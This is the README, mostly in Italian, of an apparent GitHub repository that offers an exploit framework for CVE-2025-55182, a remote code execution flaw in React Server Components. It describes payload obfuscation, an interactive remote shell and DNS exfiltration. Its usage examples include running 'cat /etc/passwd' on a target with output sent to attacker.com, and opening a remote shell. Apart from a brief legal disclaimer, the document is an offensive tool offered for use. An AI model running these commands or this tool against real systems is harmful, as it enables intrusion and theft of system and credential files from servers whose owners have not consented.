cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploitScanner RCE avanzato per React Server Components per CVE-2025-55182. Funzionalità: fingerprinting multi-stadio, verifica della vulnerabilità, esfiltrazione DNS, shell interattiva, offuscamento del payload e reportistica professionale (JSON/HTML/PDF). Solo test autorizzati.
Questo strumento è progettato esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATO. L'utilizzo non autorizzato di questo software contro target privi di previo consenso scritto costituisce una violazione delle leggi internazionali sui crimini informatici, tra cui il Computer Fraud and Abuse Act (CFAA), i mandati GDPR e i termini di servizio standard. L'autore e i contributori declinano ogni responsabilità per qualsiasi uso improprio, operazione illegale o danno consequenziale derivante da questo programma. Procedere rigorosamente a proprio rischio.
ReactRCE-Scanner è un framework di valutazione e verifica della sicurezza di livello enterprise progettato specificamente per CVE-2025-55182 [1], una vulnerabilità critica di Remote Code Execution (RCE) che interessa i React Server Components nelle versioni da 19.0.0 a 19.2.0.
Il framework colma il divario tra la ricerca teorica sulle vulnerabilità e la validazione pratica della sicurezza. Integrando fingerprinting multi-stadio, rigorosa riduzione dei falsi positivi, offuscamento avanzato dei payload e reportistica automatizzata multi-formato, fornisce agli ingegneri della sicurezza capacità diagnostiche precise.
| Utilizzo | Risultati della scansione |
|---|---|
| Categoria di funzionalità | Punto di forza dell'implementazione | Stato operativo |
|---|---|---|
| Fingerprinting intelligente | Rilevamento multi-sorgente di framework e versione con algoritmi di scoring della confidenza. | ✅ |
| Verifica multi-stadio | Pipeline di validazione a 5 stadi progettata per eliminare sistematicamente i falsi positivi. | ✅ |
| Generazione di payload | Generatore di payload offuscati con supporto a esfiltrazione DNS e multi-encoding. | ✅ |
| Shell interattiva | Esecuzione di comandi pseudo-interattiva in tempo reale e accesso alla shell su target verificati. | ✅ |
| Reportistica completa | Generazione automatizzata di report in formato JSON, HTML, PDF e Markdown. | ✅ |
| Esfiltrazione DNS | Esfiltrazione out-of-band dell'output dei comandi tramite gestione sicura delle query DNS. | ✅ |
| Motore di concorrenza | Architettura di scansione multi-thread ad alte prestazioni per grandi superfici d'attacco. | ✅ |
| Integrazione proxy | Supporto proxy HTTP/HTTPS e SOCKS per traffico di valutazione anonimizzato. | ✅ |
Clonare il repository e inizializzare l'ambiente utilizzando lo script di setup automatizzato o l'installazione manuale delle dipendenze:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
Il framework opera tramite un'architettura CLI modulare che supporta la validazione di un singolo target, la scansione in blocco da elenchi di file, l'avvio di shell interattive e la reportistica di conformità.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
Il framework esegue una ricognizione approfondita prima della consegna del payload. Analizza molteplici campi degli header HTTP (X-Powered-By, Next-Action, RSC), meta tag strutturali HTML (data-reactroot, __NEXT_DATA__), asset di build statici e bundle sorgente JavaScript [2] [3].
I punteggi di confidenza sono classificati in quattro livelli:
CRITICAL (95%+): Molteplici indicatori ortogonali confermano versioni vulnerabili del runtime React Server Component.
HIGH (75–95%): Forti indicatori strutturali identificati con corrispondenza esatta della versione.
MEDIUM (50–75%): Marcatori parziali del framework presenti; richiesta verifica manuale.
LOW (<50%): Euristiche deboli rilevate; alta probabilità di falso positivo.
Per mantenere l'integrità operativa e prevenire interruzioni accidentali del servizio, i payload attraversano una rigorosa pipeline di validazione prima che qualsiasi fase di exploitation venga sbloccata.